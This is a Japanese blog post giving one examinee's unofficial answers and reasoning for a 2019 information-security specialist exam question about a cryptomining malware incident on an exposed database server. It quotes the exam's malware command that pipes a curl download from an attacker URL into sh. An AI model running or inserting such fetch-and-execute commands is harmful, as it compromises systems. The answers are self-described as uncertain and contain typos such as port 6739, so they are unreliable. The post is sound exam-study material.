min117の日記

初期desireもち。趣味Mac,メインFedora,仕事xp。

情報処理安全確保支援士(SC)令和元年度 秋期 午後Ⅱ 問1 解答例(2019年10月20日実施)

昨日 2019年10月20日(日) 実施の情報処理安全確保支援士試験(SC)。

f:id:min117:20191021231853j:plain 

後Ⅱ 。記述式。問1、問2 から1つ選んで回答する。

 

※ TACの解答

https://www.tac-school.co.jp/kaitousokuhou/downloads/16_R1F_SC解答例.pdf

 

※ ITECの解答

https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm1_kaito_n.pdf

https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm2_kaito_n.pdf

 

問1を選択した。

 解答速報を書く(あくまで個人の回答。正解かは分からない)。

 

 

令和元年度 期 午後Ⅱ 問1 解答例

設問1

(1)S社開発用LANのPCからDBMS-Rを通してOSコマンドを実行することによりマルウェアXの活動が妨げられ暗号資産の採掘用プログラムが実行できない(75字以内)

(2)

 α  top

 β  ライブラリ

 γ  /proc/123

(3)会員情報はサービスCのみに保存されておりマルウェアXが侵入したDBMS-Rには保存されていないうえ、Xの通信は他のサーバへの侵入と演算結果の送信にとどまり他の情報は送っておらず他にSSH接続もないから(100字以内)

 

設問2

(1)

 対策1:ア、エ

 対策2:

 対策3:ア、イ、エ

 対策4:ア、ウ、エ、オ

(2)

 あ 22/tcp

 い 6739/tcp

 う a2.b2.c2.d2

(3)

 a curl

 b su iptablesが正解かも

(4) 

 え  ハッシュ値

 お  比較

 か キ 変更

 

設問3

(1)

  CIS Benchmarks

  OWASP ASVS

(2)自社で運用している実行環境を整理する。ソフトウェア、システム設定、システム情報を把握し脆弱性情報収集の対象を明確に絞る(60字以内)

(3)

 き  CVSSによる脆弱性アセスメント

 く  ストレステスト

(4)

 け 作成

 こ エンジニア

 

設問4

 c  コンテナエンジン

 d  アプリ

 e  コンテナ

 f  変更の履歴

 g  本番

 h  検証

 

<思考のメモ>

全般

・S社は(従業員120名もいるのに)エンジニアは5名だけで、かつその5名が開発と運用まで行っている

・DevOpsなんて聞こえはいいが…「いや社畜か」と突っ込みたくなる。せめて運用部門かサポートデスク作ればいいのに。

www.youtube.com

 

・開発チームの使っているツールは

  外部クラウドサービスを利用している → W社データセンター(AWSとか)

  開発プラットフォームを使いバージョン管理している → githubとか

  テキスト共有サービスを使って開発情報をやりとり → Slackとか

  監視ツールの導入を容易にするためにコンテナ技術 → dockerとか

 だろう。

 

S社のサービス

・「S社のサービスは顧客からの評判もよく登録会員数は2,000社を超えている」とあるから、W社データセンターの上に敷いたdocker基盤のうえにWebサービスがあって、2,000社もの企業が抱える顧客がアクセスしてくる。

f:id:min117:20191022134841p:plain

・図1でいうとインターネットからサーバA(a1.b1.c1.d1)にアクセスが来る。

 

FWのルール

・ということはインターネットからa1.b1.c1.d1へのアクセスは遮断しちゃダメ(サービスが止まってしまうから)。つまりポート80(HTTP)とポート443(HTTPS)は遮断しちゃダメ

f:id:min117:20191022135413p:plain

・つまりこのルールだと項番1と2は変えられないということになる。

 

データベースの構成

・DBを確認すると

 アプリQのためのデータベース → DBMSサービスC

 アプリDのためのデータベース → DBMS-R6379/tcp)を新たに稼働

・ということは、上の表1にある項番3でインターネットに完全にオープンにしちゃっているDBMS-R(6379/tcpが明らかに危険だろうと想像がつく

・問題文の4ページまで読んだ時点で、ここまでは読み取れる。

 

インシデントの発生

・5ページには「サーバAからデータセンター内の他のサーバを探索するアクセス」があったと言っている。

・つまりサーバAから発信する通信があったと言っている。これもいずれFWで遮断しなければいけないだろうと思って読み進める。

 

マルウェアのXの挙動(FWのルール変更)

・6ページの図3の3にあるとおり、マルウェアXはiptablesを変更してポート6379へのパケットを破棄するルールを追加している。

・そもそもポート6379はなぜ開けたのだったか。理由は4ページにある。

 f:id:min117:20191022213351p:plain

S社開発用LANのPCからDBMS-Rのデータベースを参照・更新したり、ネットワーク経由で外部からDBMS-Rを通じてOSコマンドを実行する機能…を利用したりするため」だ。

 

・つまり、S社開発部がDBMS-Rのポート6379を通じてOSコマンドを発行できるということ。

・だから例えば、マルウェアに気づいた開発部員がマルウェアプロセスをkillしたり、不正通信を遮断するなどの対策を打てば、攻撃者の意図に反してマルウェア活動が妨げられ暗号資産の採掘用プログラムが実行できない(設問1の(1))状況に陥ってしまいかねない。

・だからマルウェアは、DBMS-Rに侵入できた直後に、空いていたポートを閉じてそれ以上は誰もログインしてこないように通路を塞ぐ動作をしたと思われる。

 

・一連のマルウェアXの動作の流れを想像すると

  はじめにポートスキャン(nmapとかだろう)して

  6379/tcpが空いているのを発見したので

  脆弱性を突く攻撃をした(metasploitとか?)

 結果、

  DBMS-Rの権限を乗っ取れたので

  curlでxxx.shをダウンロード(6ページ3行目)し

  cronの定期実行に仕込み(6ページ4行目)し

  iptablesの設定を変えてポート6379を閉じたうえで

  さらに他のサーバへの侵入を試みた(6ページ図3の6)

 結果、

  「サーバを探索するアクセス」が観測された(5ページ2行目)

min117.hatenablog.com

 

DBMS-Rを実行できるユーザーの権限について

マルウェアXが侵入できたのは「DBMS-Rの脆弱性を悪用して認証をバイパス(6ページ1行目)」たためであって

・つまりDBMS-Rユーザーとしてログインしているにとどまる(rootユーザーではない)。

 

DBユーザーには管理権限なんて持たせないのが鉄則。

・だけど今回、侵入成功後のマルウェアXがiptablesコマンド(8ページbの解答)によって図2の(ウ)を実行できているということは、S社では(鉄則に反して)DBMS-RユーザーはOSの管理権限まで持たせてしまっていたということが分かる。

iptablesは(管理者泣かせなくらい)管理権限を求めてくるコマンドなので
min117.hatenablog.com

 それが実行できたということはroot同等の権限が与えられていたのだろうから。

・こういうことがないようにDBMS-Rを必要最小限の権限にして稼働させる(8ページのPさん)必要がある。

 ※ なお今回の解答にあたって「脆弱性利用してDBMS-Rに接続したあと、suコマンドDBMS-Rのユーザーになった」と思い込んでしまったが、そんなことは問題文のどこにも無かった。

 

ルートキットの動作

・6ページは易しい問題だったと思う。選択式だったし。

 α  top

 β  ライブラリ

 γ  /proc/123

f:id:min117:20191022222418p:plain

・プロセス監視ツールはtopコマンド(普通はps auxだと思うけど…)

ライブラリ関数を通じてディレクトリ/proc/123のファイルにアクセスすればいい。

・γに入る解答がア(/proc/123)かウ(proc)か迷うけど、/proc配下にあるプロセス番号ディレクトリだという点は見落としがちなので注意がいると思う。

・ちなみにメモリ情報にあたる/proc/meminfoはファイルなので。比較で覚える。

min117.hatenablog.com

 

対策1、対策2について

f:id:min117:20191022225439p:plain

・対策1「サーバAへのアクセスを、利用が想定されるIPアドレスだけに固定する」とあるが

・この「想定されるIPアドレスという言い方に含みがある。これを正確に把握するのが解答の肝だと思う。

もう一度ネットワーク構成を見てみると

  f:id:min117:20191022134841p:plain

 サーバAに接続するのは

  アプリ利用者 HTTP(80/tcp)またはHTTPS443/tcp

  S社の開発者 SSH22/tcp)またはDBMS-R(6379/tcp

 であって、当然のことながらアプリ利用者の通信は制限しちゃダメ

・だから、サーバAへのアクセスが想定されるIPアドレスとは利用者の通信のほうではなくて開発者の使うa2.b2.c2.d2のことであって、使うポートは22/tcpと6379/tcpということになる。

・なので、対策としては

 f:id:min117:20191022225257p:plain

「サーバAのポート22/tcp及び6379/tcpへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をa2.b2.c2.d2に限定すべきでした」となる。

 あ 22/tcp

 い 6739/tcp

 う a2.b2.c2.d2

 

対策3について

f:id:min117:20191022225439p:plain

対策1と2が

 サーバAへのアクセス制御 だったのに対して

対策3は

 サーバAからのアクセス制御 というところが大きく違う。

・そもそも今回の感染が「ほかのサーバを探索するアクセスを繰り返している」(5ページ2行目)との連絡から発覚したという事実からも分かるとおり、サーバAからマルウェアXによる通信が外に出ていく。

・例えば「サーバAから、ポート6379/tcpが開放されているほかのサーバへの侵入を試みる通信(6ページ上の6)が出ていく。ポートスキャンだからおそらくnmapを使ったスキャンとかだろう。

・さらに「サーバAに侵入の際及び感染後にcurlコマンド(P8のaの解答)によってファイルをダウンロードしたことを考えると、サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止すべき」(P8の上4行)という対策になる。

マルウェアが使ったcurlコマンドは6ページにある。

 curl -sf https://▲▲▲▲/attackers-url/xxx.sh | sh -s

 f:id:min117:20191022232442p:plain

・これを防ぐFWの設定は具体的にどうやるかも理解しておく。

 f:id:min117:20191022232708p:plain

項番5にある「全て 全て 全て 破棄」がそれ

・これによって「サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止」されることになる。

 

設問2の(1)

・難しかった。日本語の受け取り方で解答が変わってしまいそうな気がする。

・事実、受験予備校TACとITECで解答が違ってしまっている

TACの解答はこれ。

 f:id:min117:20191025004403p:plain

ITECの解答はこれ。

 f:id:min117:20191025004555p:plain

・こういう、日本語の受け取り方で解答が変わってしまうようないわゆる悪問は、出題者が未熟なのかもしれないが、たまにある。

・今回はこれ、採点が付かないんじゃないか(全員正解?)と想像する。

 

・改めて問題文を見てみる。

 (1) 表2 中の対策1〜4は、図2の3の(ア)〜(オ)のどの機能への対策となるか。それぞれ該当する機能を全て選び、記号で答えよ

・表2中の対策1〜4はこれ。

f:id:min117:20191022225439p:plain

・図2のア〜オはこれ。

f:id:min117:20191024235923p:plain

対策それぞれについて問題文に当てはめて日本語を組み立てしてみる。

※ 受験予備校の解答とは違うけど(自分なりに考えて出した答えだし)思考したそのまま残す。

 

対策1 

f:id:min117:20191025002644p:plain

「サーバAへのアクセスを、利用が想定されるIPアドレスだけに限定する

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスを成功して侵入し採掘用プログラムをダウンロードしたのだから。

  → それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスを成功して侵入しFWのルールを変更してしまったのだから。

  → それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからのルートキットYをダウンロードする行為を止められるわけではないから。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの暗号の痕跡が含まれるログファイルを削除する行為を止められるわけではないから。

 

対策2

f:id:min117:20191025002804p:plain

「サービスで利用するポート番号をデフォルト以外の値に変更する

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスをポート6739を通じて成功採掘用プログラムをダウンロードしたのだから。

  → それを繰り返さないように、サーバAへで稼働するDBMS-Rのポート番号を6739/tcp以外に変更してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAで稼働するFWのルール変更を止められるわけではないから。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアルートキットYをダウンロードしインストールする行為を止められるわけではないから。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアが暗号の痕跡が含まれるログファイルを削除しようとする行為を止められるわけではないから。

 

対策3

 f:id:min117:20191025002939p:plain

SSH、HTTP及びHTTPSについて、サーバAからの外部へのアクセスを禁止する」

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

対策4

f:id:min117:20191025003053p:plain

「アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる」

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だって…から。

  

続き

・後ほど書く。

 

 単語(設問3)

dev.classmethod.jp

techtarget.itmedia.co.jp

www.jpcert.or.jp

ja.wikipedia.org

ja.wikipedia.org

 

なお、午後はこちら。

午後Ⅰ 問2

min117.hatenablog.com

午後Ⅰ 問3

min117.hatenablog.com

 

Ⅱ はこちら

min117.hatenablog.com

 

以下問題文。

f:id:min117:20191021231750j:plain

f:id:min117:20191021231802j:plain

f:id:min117:20191021231807j:plain

f:id:min117:20191021231811j:plain

f:id:min117:20191021231816j:plain

f:id:min117:20191021231821j:plain

f:id:min117:20191021231826j:plain

f:id:min117:20191021231835j:plain

f:id:min117:20191021231840j:plain

f:id:min117:20191021231844j:plain

f:id:min117:20191021231849j:plain

他の人の回答例

iromame-beans.jp